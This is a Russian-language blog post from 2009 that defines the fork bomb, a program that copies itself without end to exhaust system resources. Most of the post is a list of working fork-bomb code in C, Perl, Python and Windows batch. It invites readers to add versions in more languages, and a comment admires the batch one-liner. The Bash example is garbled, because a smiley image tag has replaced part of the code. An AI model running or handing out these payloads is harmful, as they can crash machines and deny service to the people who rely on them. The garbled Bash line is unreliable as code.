Fork-бомба


Fork-бомба — вредоносная или ошибочно написанная программа, бесконечно создающая свои копии (системным вызовом fork()), которые обычно также начинают создавать свои копии и т. д.

Выполнение такой программы может вызвать большую нагрузку вычислительной системы или даже отказ в обслуживании вследствие нехватки системных ресурсов (дескрипторов процессов, памяти, процессорного времени), что и является целью написания такой программы.
Программа классической fork-бомбы (написанная на языке Си) выглядит так:

#include <unistd.h>
 
 int main()
 {
   while(1)
     fork();
 }


Более подробно можете почитать тут

Примеры программ:

Bash:

<img class="smile" src="/images/smilies/sad.gif" />){ :|:& };:


Perl:

fork while fork


Python:

import os
 
while(1):
      os.fork()

Пакетный файл Microsoft Windows:

:s
start %0
goto :s

Более элегантный вариант:

%0|%0


И он даже красивее чем на баше

Давайте расширим список на других языках
  • +1
  • 02 сентября 2009, 10:48
  • Mihael

Комментарии (1)

RSS свернуть / развернуть
+
0
%0|%0
все гениальное просто )))
avatar

Sergei_T

  • 02 сентября 2009, 11:46

Только зарегистрированные и авторизованные пользователи могут оставлять комментарии.